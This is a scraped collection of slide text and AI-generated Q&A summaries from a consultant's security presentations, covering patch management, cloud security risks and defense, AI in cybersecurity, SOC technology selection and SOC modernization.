benchmarks and other regulatory standards. * Q: What is the benefit of a 'Single Pane of Glass'? A: Consolidated view of security posture across disparate environments. * Q: Does Qualys support container security? A: Yes, through its Container Security module. * Q: What is 'Continuous Monitoring' in the Qualys context? A: Real-time alerting on new vulnerabilities or configuration drift. * Q: What is the 'Patch Management' capability? A: The ability to deploy patches directly from the cloud platform. * Q: Who is the target user? A: Vulnerability managers, IT ops, and compliance officers. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1kK41tzfsR6bT1ZgZSkPh42NmjtceqzKg/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1kK41tzfsR6bT1ZgZSkPh42NmjtceqzKg/view?usp=drive_link]** Christopher Crowley•Consultant: Montance® •SOC-Class.com Design, Build, Operate and Mature your SOC. •SOC-Survey.com: 2017 -2022 •SANS Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom… Montance® LLC 1 Patching is Boring 2 Different: Vulnerability –Exploit –Patch •Vulnerability: a flaw or misconfiguration that allows unwanted or unintended activity •Exploit: a tool or a technique that abuses a vulnerability to cause the unintended activity •Patch: a fix provided by a software or hardware vendor to address a vulnerability 3 Patch management ideal state 4Patching is required for systems because we deploy systems …with flaws we don't yet understand It is the economic reality of the world today Photo By Carlos Jones/ORNL Laws That Require Patching•Multitude of legal and industry requirements, it’s confusing but no one law says patch, although respected industry resources say this •Legal precedent of liability for failing to patch •Example: SQL Slammer 2003, Verizon in Maine •Maine Decision of the State of Maine Public Utilities Commission, Docket No. 2000 -849, April 30, 2003 5 Laws Can Confound PatchingMontance® LLC 6•FIPS requires code verification •But allows / approves software with flaws, yet approval cannot keep up with pace of patches CIS Controls•Center for Internet Security (CIS) Critical Security Controls (Controls) Control 07 is Continuous Vulnerability Management •Patch necessity and performance capability is the cornerstone of this control 7 DBIR: Patching Performance Not So Good•“Verizon 2021 Data Breach Investigations Report” graphic vulnerability scan data (n=110) showing percent patched •Still less than 50% patched after 75 days past discovery 8 2021 SANS SOC Survey•SANS Institute SOC Survey “Technology Satisfaction” table shows middle of the range ( -42 to +62 ) scores was the range https://soc -survey.com 9 Customization to Requirements•Do you test before you patch? •It probably depends on the system •When was the last time you tested an update for your mobile phone OS prior to deploying? •Categories •Workstation •Internal servers •External -public facing servers •Including cloud resources 10 Open Source and 3rd Party Risks•Software provided by 3rd parties, including open source software, can be embedded inside of other products •Heartbleed (2014) in OpenSSL •Log4shell (2021) in log4j •Supply chain and vendor partnerships of concern •Solarwinds Orion (2020) – Sunburst one example •Cloudhopper (2016) – MSP affected 11 So, What Do I Do? 12 Simplest Notional Workflow 13 Notional Asset Inventory Workflow14 3 distinct workflows •Workstations •test (fast) → deploy (10%) → deploy rest •Internal facing Servers •test (slow) → stage →deploy rest •Internet facing servers •test (slow) → stage to pool →update image → rotate pool 15 Tempo Shifts•Routine cycle of patching may need to adjust to meet the challenges of the environment •Patch Now! •Log4j most recent one of note •Stand Down! •Most organizations have some form of this (and not the type due to complaisance) 16 Repetition Suggests Automation•Aforementioned (simplified) workflows, categorical variation, and tempo changes can be managed through automation •Tasks around patching are ideal candidates •Perhaps see my other talks on automation / orchestration and the “paradox of automation” •Positive attributes for automation: clear parameters of accuracy and success, clarity on what to avoid, clarity on system boundaries and constraints 17 Prioritization Approachthis isn’t a sprint, it’s not a marathon… patching is forever •Foreseeable and conceivable future: we will deploy vulnerable systems and learn about issues later, “…as vulnerabilities happen…” •One day in our lifetime the patching story may take a turn for the better plan/hope accordingly; meanwhile patch and automate patching 18 --- ## Source: https://montance.com/questions.php?id=132 [![pdf](content/images/icons/pdf.svg) DarkReading ZScaler.pdf](https://drive.google.com/file/d/1l4pntoK7KrPYYh0yZmAnr3Rvcx2DRMwq/view?usp=drive_link) Darkreading ZScaler Presentation covering Cloud titled 'Darkreading ZScaler'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'Zero Trust Exchange'? A: Zscaler's cloud-native platform that connects users to applications without placing them on the network. * Q: How does Zscaler enable 'Secure Access Service Edge' (SASE)? A: By converging networking and security services in the cloud. * Q: What is the main advantage over traditional VPNs? A: Reduced attack surface (apps are not visible to the internet) and better user experience. * Q: What is 'Zscaler Internet Access' (ZIA)? A: A secure web gateway that inspects traffic for malware and enforces policy. * Q: What is 'Zscaler Private Access' (ZPA)? A: Zero trust access to internal applications. * Q: How does Zscaler handle SSL/TLS inspection? A: It performs inspection at scale in the cloud without performance degradation. * Q: What is the role of 'Policy Enforcement'? A: To ensure consistent security rules regardless of user location. * Q: How does it protect against data loss? A: Through integrated Cloud DLP capabilities. * Q: What is the 'Direct-to-Cloud' architecture? A: Routing traffic directly to the cloud service rather than backhauling to a data center. * Q: Who benefits most from this solution? A: Distributed enterprises with a mobile workforce. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1l4pntoK7KrPYYh0yZmAnr3Rvcx2DRMwq/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1l4pntoK7KrPYYh0yZmAnr3Rvcx2DRMwq/view?usp=drive_link]** Christopher Crowley•Consultant: Montance® •Author of SOC-Class: Design, Build, Operate and Mature your Sec. Ops. Center •Author SOC-Survey: 2017-2021 •SANS Institute Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom, … Montance® LLC 1 Cloud Definitions 2 Cloud –Service Model•Service model characterizes the Cloud Service Provider (CSP) responsibility •something As A Service (*AAS), where the something describes what the CSP provides •Infrastructure: data center and hardware •Platform: operating system (and some OS admin) •Software: applications and identify infrastructure •…and all the derivate new names for stuff on the *AAS bandwagon Copyright 2022 Montance® LLC 3 Cloud –Deployment Model•Deployment model characterizes where the systems of the cloud physically exist •Public: internet accessible, available to anyone •Private: dedicated cloud resources to one entity •Community: restricted to known entities •Hybrid: some public cloud and some private cloud resources •Multi-cloud: multiple public cloud providers Copyright 2022 Montance® LLC 4 Cloud Security Responsibility Allocation 5 Security Considerations•Infrastructure Protection •Compliance Requirements •IAM –Identity and Access Management •Data Protection •Baseline and DevSecOps •Monitoring and Detection •Incident Handling Copyright 2022 Montance® LLC 6 Shared Security Model per *AASfrom: https://docs.microsoft.com/en-us/azure/security/fundamentals/shared-responsibility Copyright 2022 Montance® LLC 7 Risks•Discovery of organization assets through public instance naming conventions •Data breach through unauthorized access •Misconfiguration of deployed cloud systems •Unintentional sharing of cloud identity and access tokens •Cloud identity token theft then abuse •Distributed denial of service causing excess cost 8 Authentications•Account structure •Each CSP has slightly different approach •Amazon, e.g., AWS account serves as •Container –for resource creation •Security Boundary –for users and roles •Users –name, password, and access keys •Roles –has permissions to perform actions; assigned ability to users; no credentials; role may be assumed to act then shed •Token driven •Passwords used extensively, but also keys to authenticate the user •Tokens generated upon assumption of a specific role with expiration after session Copyright 2022 Montance® LLC 9 Resources•The infrastructure options are extensive Copyright 2022 Montance® LLC 10 https://cloud.google.com/about/locations#network Cloud Security Threats 11 Popular Attack Techniques•Enumeration •Mis-configuration abuse •Data access •Application reverse engineering for theft of shared secrets •Role chaining •SSRF for IMDS (Instance Metadata Service) Copyright 2022 Montance® LLC 12 Popular Attack Tools •Recon and scanning •cloudmapper, cloudsplaining, commonspeak2, gobuster, masscan, policysentry •Exploitation, access, data extraction •leonidas, pacu, peirates, shimit •Native CLI tools for AWS, Azure, GCP, Git, … Copyright 2022 Montance® LLC 13 Cloud Security Failures 14 Multiple Android Apps•Mobile applications use cloud data storage •May, 2021 Checkpoint blogpost ( https://mgt517.com/cp-android-2021 ) estimated 100 Million users’ information lost: •Email addresses •Passwords •Chat messages •Location information •Accountidentifier (username/ id) Copyright 2022 Montance® LLC 15 Socialarks•SafetyDetectives: Tencent cloud hosted unsecured database belonging to Socialarks •https://mgt517.com/sd-sa-2021 Copyright 2022 Montance® LLC 16 Vulnerable Software in the Cloud•CVE-2020-11651 and CVE-2020-11652 •F-Secure discovered ( https://mgt517.com/fs-ss-2021) “However, what’s really concerning Olleis the 6000 Salt masters he discovered on the internet while doing his research, which he says are very popular in cloud environments like AWS and GCP.” Copyright 2022 Montance® LLC 17 2021 Verizon DBIR“A related result that will likely not be surprising is that this year, external cloud assets were more common than on-premises assets in both incidents and breaches.”* *“10 times as many Unknowns (…incidents…) as there were cloud assets[incidents].” From: Verizon 2021 Data Breach Investigations Report https://verizon.com/dbir Copyright 2022 Montance® LLC 18 Cloud Security Defense 19 Architecture and DevSecOps•Secure baseline •An advantage of the cloud is that instances are transient and require specification •CI/CD –continuous integration/continuous delivery •Cloud native capabilities exist for all traditional security devices; but are often pay per use •WebApp Firewall: e.g. GuardDuty(AWS) •Logging Copyright 2022 Montance® LLC 20 Monitoring•Response preparation & baseline integration •Baseline deviation monitoring •Instrumentation in advance •E.g. Cloudwatch, Cloudtrail •Detection & identification skillsets •Cloud native aspects developed in cyber monitoring and incident handling staff Copyright 2022 Montance® LLC 21 Incident Handling Example•Verification of incidents w/ cloud IR skillset •Visibility instrumentation for scope •A problem in one system should trigger broad inspection •Containment techniques •Collection of logs and memory, pause instance •Eradication techniques •Return to known good •Recovery techniques •Method for verifying data likely same as on-prem systems (cynicism suggests you can’t do it there either) Copyright 2022 Montance® LLC 22 Incident Handling: Google Cloud•Visibility instrumentation for scope •Google Security Command Center, cloud audit logs, kube-hunter, forseti, … •Containment techniques •Kubectlsysdigcapture, pause instance/collect instance, rate limiting within GCP, … •Eradication techniques •Standard custom image reviewed w/ security health analytics and analyst insight from incident root cause •Recovery techniques •Storage (regional / coldline) cloud backups of: IAM, data, databases, … Copyright 2022 Montance® LLC 23 --- ## Source: https://montance.com/questions.php?id=131 [![pdf](content/images/icons/pdf.svg) DarkReading Darktrace AI.pdf](https://drive.google.com/file/d/1lApgYYIxN7CO1MgOf-_w9lLbWwS-JtpA/view?usp=drive_link) Darkreading Darktrace AI Presentation covering AI/ML titled 'Darkreading Darktrace AI'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'Enterprise Immune System'? A: Darktrace's core philosophy of using AI to learn 'self' and detect deviations, similar to a biological immune system. * Q: What technology underpins Darktrace's solution? A: Unsupervised Machine Learning. * Q: How does Darktrace differ from traditional signature-based security? A: It does not rely on prior knowledge of attacks (signatures) but learns normal behavior to detect anomalies. * Q: What is 'Antigena'? A: Darktrace's autonomous response solution that can take action to stop threats. * Q: What is the benefit of '100% visibility' claimed? A: Seeing all network traffic allows the AI to learn the full context of normal operations. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1lApgYYIxN7CO1MgOf-_w9lLbWwS-JtpA/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1lApgYYIxN7CO1MgOf-_w9lLbWwS-JtpA/view?usp=drive_link]** Christopher Crowley•Consultant: Montance® •SOC-Class.com Design, Build, Operate and Mature your SOC. •SOC-Survey.com: 2017-2021 •SANS Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom… Montance® LLC 1 Artificial Intelligence: Definition SOC-Class.com || Montance® LLC2Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Cyber AI –Narrow Circumstances•In Cyber, we actually mean the “narrow” definitionof AI •An AI system designed to solve on specific problem •Versus the General or Strong AI (more next slide) •Currently an abundance of misinformation, unreasonable expectations, and wasted effort •This talk will discuss narrow AI examples •Strong AI is coming some day, stay tuned… Montance® LLC 3 General AI (Russell/ Norvig)•Efficiencies in problem solving •Operation within boundaries and constraints •Capabilities of knowledge representation •Natural language processing -human direction in human native manner •Learning based on activity, experimentation, and objectives •Observation (visual, auditory) •Activity (often robotics) Montance® LLC 4 Machine Learning•An area of AI which is specifically concerned with tuning algorithms through assessment of data •Objective is iterative algorithmic improvement of accuracy •Typically starting with some curated data set with known characteristics (training data) to allow the development of the algorithm, then applying the algorithm to real world circumstances Montance® LLC 5 AI Techniques & Uses•Learning •Reasoning •E.g., Expert systems •Knowledge •Representation and management •Planning •Strategic / Tactical Montance® LLC 6•Probabilities •E.g., Bayesian •Search / optimization •E.g., Swarming •Control systems •Neural Networks •Complex interactions •Entertainment Examples of Artificial Intelligence in Cybersecurity SOC-Class.com || Montance® LLC7Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Efficiencies in Problem Solving•Unsolicited email filtering •Current common use scenario •Effective adversary interruption strategies •Apply game theory learning algorithm to MITRE ATT&CK® to assert the most important interruptions in your environment •Analysts use ATT&CK® in this way currently •Model root cause analysis of intrusions •Threat actor attribution Montance® LLC 8 Boundary / Constrained Operations•AI for comparing damage assessment from interruption of adversary (contain system) and adversary accomplishing action on objectives (wait for confirmation) •Alternate containment options •Legal constraints in varying jurisdictions in IR •Alternate data for investigations, where optimal data is unavailable Montance® LLC 9 Knowledge Representation•IT systems valuation with multiple stakeholders and data of varying sensitivity •We currently deploy “knowledge management” systems to store information for cyber analysts •Threat actor characterization •Threat Intelligence as a likely adversary profile in addition to suggesting likely indicators •Analytical methodology confidence depiction •Analysis of competing hypothesis, for example Montance® LLC 10 Natural Language Processing•Chatbot driven interaction •Chatbots rarely impress me, but my fingers are sore from typing •Cyber analysts learn the syntax of programming and query languages to provide appropriate direction to computers. Why not talk to it? •Because to date, there’s inadequate fidelity when absorbing natural language direction Montance® LLC 11 Experimentation and Objectives•WOPR comes to mind here •Sorry, couldn’t resist •Practical cyber context for training and developing cyber capability in Analysts •Automated pen test modeling and impact assessment for available pathways •Simulation of attacker capability without actually testing the production network Montance® LLC 12 Observation (visual, auditory)•In Cyber we tend to focus on visibility but there are also observability concerns •Ability to discern subtle changes usually escapes most analysts because of the volume of noise, human memory (and recall) constraints •Discern details and identify meaningful differences Montance® LLC 13 Activity (often robotics)•In cyber, the application of standard move-add- change actions in support of reactive cyber activity •Deploying meaningful challenges in uncertain circumstances •Fraud suspicion in financial sector results in notifications and transaction refusal •Pause admin authentication session to seek out of band verification based on behavioral anomaly of authentication attempt Montance® LLC 14 Cyber Projects for AI•Frameworks available to implement AI •Tensorflow, PyTorch, … •Some open source projects cyber projects •Githubsearch cyber: ~39,104 •Githubsearch cyber + “artificial intelligence”: 27 •10: Jupyternotebooks, 5: python, 1: CSS •More likely commercial products and integrations •My opinion, because it’s specialized and challenging Montance® LLC 15 Bonus Thought: Artificial Intelligence in Offensive Cyber SOC-Class.com || Montance® LLC16Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Attackers are Funded and Motivated•Cyber defenders versus offensive capability •Or, Cost center versus Profit Center •Offensive cyber tends to adapt quicker •Bloodhound (2016) guidance “pathfinding” •Mayhem (2016) •Deep Exploit (2018) –AI driven Metasploit •Many others now released in same vein, intelligently attempt possibilities given constraint (OpSec) bound opportunities Montance® LLC 17 --- ## Source: https://montance.com/questions.php?id=130 [![pdf](content/images/icons/pdf.svg) Cybrary SOC Series-2 Tech 003.pdf](https://drive.google.com/file/d/1lJG5aj4Wx_hdNCxjTSqLIHAmRroW4Ast/view?usp=drive_link) Cybrary SOC Series 2 Tech 003 Presentation covering Tech titled 'Cybrary SOC Series 2 Tech 003'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the topic of the Cybrary SOC Series-2 Tech 003? A: Technology Evaluations: Finding the Right SOC Solutions. * Q: What is the first step in selecting SOC technology? A: Defining the specific use cases and requirements for the organization. * Q: Why is 'Integration' a critical evaluation criteria? A: Tools must work together to provide visibility and workflow; isolated tools create silos. * Q: What is the danger of 'Shelfware'? A: Buying expensive tools that are never fully deployed or utilized due to complexity or lack of staff. * Q: What role does 'POC' (Proof of Concept) play? A: It allows the SOC to test the tool in their specific environment before purchase. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1lJG5aj4Wx_hdNCxjTSqLIHAmRroW4Ast/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1lJG5aj4Wx_hdNCxjTSqLIHAmRroW4Ast/view?usp=drive_link]** Failure to address skill gaps will hurt your business. Montance® LLC Technology Evaluations Finding the Right Solutions for Your SOC Part III: Storage, Deception, and Analysis Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Introductions Amanda Davi Director of Business Development Cybrary Chris Crowley Consultant, Author of SOC-Class.com Montance ®LLC Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Overview ● This series: technology ○ Conduct a deep dive on technology ○ Relies heavily on the framework discussed in our previous series ■ Hint: Go watch those if you haven’t already ● Overall taxonomy ○ High-level taxonomy ○ How the parts go together ○ Dig into the details of the technologies ● Selection Criteria ● Orchestration & Automation Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Recap SOC-Class Model Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. My SOC “Reference Model” Created for SOC-Class.com Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Technology Overview Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Technology ● Visibility: weather, IT monitoring, threat intelligence, partner/dependency visibility ● Communication: status portals, email, chat, telephone ● Ops: ticketing, SOAR, dev/qa/stage of SOC operational systems ● Detection & Prevention: endpoint, network, infra-/extra-structure, correlation ● Storage: aggregation, long-term storage, destruction ● Deception: models, decoys, containment nets, honey-*, fake accounts and personas ● Analysis: code, hardware, baselining, mapping, correlation, scanning, forensics ● Do you have a list of all your tech, categorized, with gap analysis for future capability? ● Technology is only one part of maturity Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Technology ● I advise organizations on security operations and assess maturity of SOCs ● I start with a “complete list” that I narrow based on drivers, needs, systems to defend ● Identify a budget-appropriate technology portfolio for organization and its culture ● Is open-source OK? Can McAfee/Kaspersky… be installed? (Legal/governmental alignment and prohibitions) ● Staff in place who are capable to deploy and maintain the tool ● Technologies should be compatible, effective, supported, secure, and fit into the operational capability of the organization Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Storage Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCStorage Data AggregationRetentionPhysical ControlsDestruction Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Deception Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCDeception Internet connectivityModelsAutomated Network QuarantineHoneytokens Honeypots Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Analysis Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCAnalysis Modeling and Testing EquipmentBaseline systemsCorrelation, MappingForensics ScannersCode manipulationSimulators Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Selection Criteria Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. The Art of Choosing Wisely ● Important factors ○ Information transfer between systems ○ Vendor support / relationship ○ Configurability and customization ○ Adequate volume support, scalability and growth path ● Detailed items ○ Best practices and patterns, Configuration, Convention, Horizontal scaling, Testing, Scaffolding ○ Monitoring, Track record, Integration, Modularity Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Automation and Orchestration Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Automation and Orchestration ● Strategic ○ Comprehend current workflow, use existing documentation, plan to adjust ○ Implementation team is important, doesn’t need to be the superstars who are already overburdened implementing SOAR ○ Outsourcing as a project makes sense in some cases ○ If available internal resources usually better results (but externally motivated organizations will see greater adoption if external party reviews workflow and deploys SOAR tool) ● Tactical ○ If you don’t have development and testing resources for SOAR, you’re going to cause problems for yourself ○ Probably don’t have a DevSecOps plan, this is what we’re fixing in deploying SOAR Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Conclusion Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Conclusion ● Today we covered ○ Storage, Deception, and Analysis ○ Selection Criteria ● This is the last session ○ Thank you for attending! Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Let’s Connect Amanda Davi adavi@cybrary.it linkedin.com/in/amanda-davi www.cybrary.it/businessChris Crowley chris@montance.com mgt517.com/linkedin www.soc-class.com Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Resources ● Cybrary SOC Career Paths ○SOC Analyst Level 1 ○SOC Analyst Level 2 ○SOC Analyst Level 3 ● Montance® SOC-Class: Starts tomorrow, more in 2022 ○https://soc-class.com ●SOC Survey Key Findings and Results Video Series : https://soc-survey.com ● Maximizing Security Operations, on-demand 4-part series ○ Part 1: The Role of a SOC ○ Part 2: SOC Architecture and Management ○ Part 3: SOC Staffing and Incident Response ○ Part 4: Enhance SOC Capability and Maturity Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Thanks For Joining Us! Montance® LLC --- ## Source: https://montance.com/questions.php?id=165 [![pdf](content/images/icons/pdf.svg) Picus SANS Keynote 2021 11 25 001](https://drive.google.com/file/d/1kGZXw_QwcGrlyrEyBqgWwgrM95mulAu7/view?usp=drive_link) Picus SANS Keynote 2021 Presentation by Christopher Crowley (2021-11-25) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Picus SANS Keynote 2021 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1kGZXw_QwcGrlyrEyBqgWwgrM95mulAu7/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1kGZXw_QwcGrlyrEyBqgWwgrM95mulAu7/view?usp=drive_link]** SOC-Class.com || Montance® LLC3Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Do you Prefer the Status Quo? Source: Verizon 2021 Data Breach Investigations ReportPatterns over time in breaches●We see minor variations in what attackers are doing ●Yet w e continue to be reactive instead of proactive Security Stagnation Are you wasting your security spend?●Business impact and costs are increasing ●Cyber spending is booming Cyber investment $12B in 2021 so far, up to 20% from 2020 (NYT) ●Cyber is supposed to provide loss prevention ●Does your SOC deliver? SOC-Class.com || Montance® LLC6Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?SOC Modernization Supercharge ●Supercharge : (verb ) Make faster or more powerful ●Cyber Supercharge : ○Staff ○Capability ○Technology ●Purge complaisance, embrace bold action ●Let’s look at components to supercharge your SOC... Supercharging is Required SOC-Class.com || Montance® LLC8Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Develop IT Operational Excellence Component 1 ●Effectively deploy all of the following: ○Operating system and application controls and patching ○System architecture ○Signing & encryption for communication ○Multi -factor authentication ○Application restriction (whitelisting) ○Detection and response technology Operational Excellence Aids Security ●The lifespan of information systems is about 5 years ○IT systems are the brains of other business systems ○Durable and adaptive IT systems is the objective Match IT’s Pace●Patch deployment and system replacement ○Known part of the IT investment ●Keep up with the pace of IT development and deployment ○Prepare for the next generation now SOC-Class.com || Montance® LLC11Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Align Cyber Operations to Your Business Component 2 ●Validation provides c onfidence to focus on the right systems and detections ○MITRE ATT&CK defensive coverage ○Track what you’ve encountered ○Use cases focused on business risk Optimize What is Ignored SOC-Class.com || Montance® LLC13Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Report Useful Metrics Component 3 Montance® LLC 14 Optimize Collected Data and AnalysisQuantify: ●Loss prevention to show SOC’s value ●Impact based on affected system value ○Prerequisite: system inventory and valuation ○Organizational risk evaluation SOC-Class.com || Montance® LLC15Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Engineer Relevant Detection s Component 4 ●Gain visibility where needed ●Build e nvironmental ly cued detection opportunities ○Behavioral differentiations trained through tracking, machine learning, or speculated ●Utilize t hreat Intelligence ○Historically applied once ingested ○Predictive based on knowledge of attack surface ○Developed internally, then strategically shared to ruin adversary capability Engineer Relevant Detections SOC-Class.com || Montance® LLC17Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Embrace Hunting as a Paradigm Component 5 ●Build a team hunting framework ●Reward hunting mindset ○We’re compromised, but we can’t yet see it ●Cultivate staff creativity and relentless pursuit of adversaries Hunting as a Paradigm ●Hunting is “clumsy but swift” ○Use case ideas on where engineering is worth it ○Fills gaps: rapid, responsive, and ad hoc ●It exposes gaps too ○Posture improvements are outcome of hunts Hunting to Supercharge Engineering SOC-Class.com || Montance® LLC20Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Deceive the Adversary Component 6 ●Switch suspect systems into observation networks for containment to aid verification ●Post email addresses to lure spam for easier identification ●Hint : “Live off the land” traps listed at LOLBALS -Project Deception Aids Detection SOC-Class.com || Montance® LLC22Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Embrace the Cloud Component 7 Cloud: 2021 SANS SOC Survey Cloud: 2021 SANS SOC Survey Embrace the cloud●Embrace cloud deployments ○Standard, secure baseline deployments ○Ability to quickly change ●Utilize cloud to resolve SOC operations resource, staffing, and technology challenges ●Use c loud native monitoring, response, analysis ○Native response capabilities leveraged SOC-Class.com || Montance® LLC26Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Train Superior Analysts Component 8 Tools Supporting Analysis●Enhance visibility through integrated tools ●Application whitelisting for execution restriction ●Automate as your standard practice ●Validate visibility and detection Encourage Analyst Performance ●Cultivate intelligence and analysis ●Good work practices: mental health, attentiveness, awareness, skepticism, humility, communication ●Analytical methodology producing fast, effective, reproducible, and defendable assessments SOC-Class.com || Montance® LLC29Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Unify Your Team Component 9 Set Common Objectives●Continuous self -training and information sharing ●Empowered, caring staff ○Overcome technology shortcomings ○Rise to the level of effective adversaries ●Purple teaming exposes gaps and validates analyst performance SOC-Class.com || Montance® LLC31Copyright 2021 Montance® LLC - All Rights Reserved. All Wrongs Reversed?Supercharging Action Items Action Items●Key components to supercharge a Modern SOC: ○Develop IT Operational Excellence ○Align Cyber Operations to Your Business ○Report Useful Metrics ○Engineer Relevant Detections ○Embrace Hunting as a Paradigm ○Deceive the Adversary ○Embrace the Cloud ○Train Superior Analysts ○Unify Your Team --- ## Source: https://montance.com/questions.php?id=164 [![pdf](content/images/icons/pdf.svg) FORCEDENTRY - Paris](https://www.sans.org/blog/what-you-need-to-know-about-cve-2021-30860-aka-forcedentry/?soc-class=true) FORCEDENTRY - Paris Presentation by Christopher Crowley (2021-11-07) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for FORCEDENTRY - Paris ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=163 [![pdf](content/images/icons/pdf.svg) ODSC Pandas](https://drive.google.com/file/d/1lOZNfVcrr8kdHF3iVIw8QCYtb5BuT78Z/view?usp=drive_link) ODSC Pandas Presentation by Christopher Crowley (2021-11-02) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for ODSC Pandas ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1lOZNfVcrr8kdHF3iVIw8QCYtb5BuT78Z/view?usp=drive_link **[Error retrieving Google Drive file https://drive.google.com/file/d/1lOZNfVcrr8kdHF3iVIw8QCYtb5BuT78Z/view?usp=drive_link]** --- ## Source: https://montance.com/questions.php?id=160 [![pdf](content/images/icons/pdf.svg) Cyber Solutions Fest 2021: Level SOC & SOAR Efficiency](https://www.sans.org/webcasts/cyber-solutions-fest-level-soc-soar/) Cyber Solutions Fest 2021 Presentation by Christopher Crowley (2021-10-21) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Cyber Solutions Fest 2021 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=159 [![pdf](content/images/icons/pdf.svg) Cybrary SOC Series-2 Tech 002](https://drive.google.com/file/d/1k8fzbINz9usH_gRgkOAizhwGeISkxJGK/view?usp=drive_link) Cybrary SOC Series-2 Tech 002 Presentation by Christopher Crowley (2021-10-19) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Cybrary SOC Series-2 Tech 002 ## 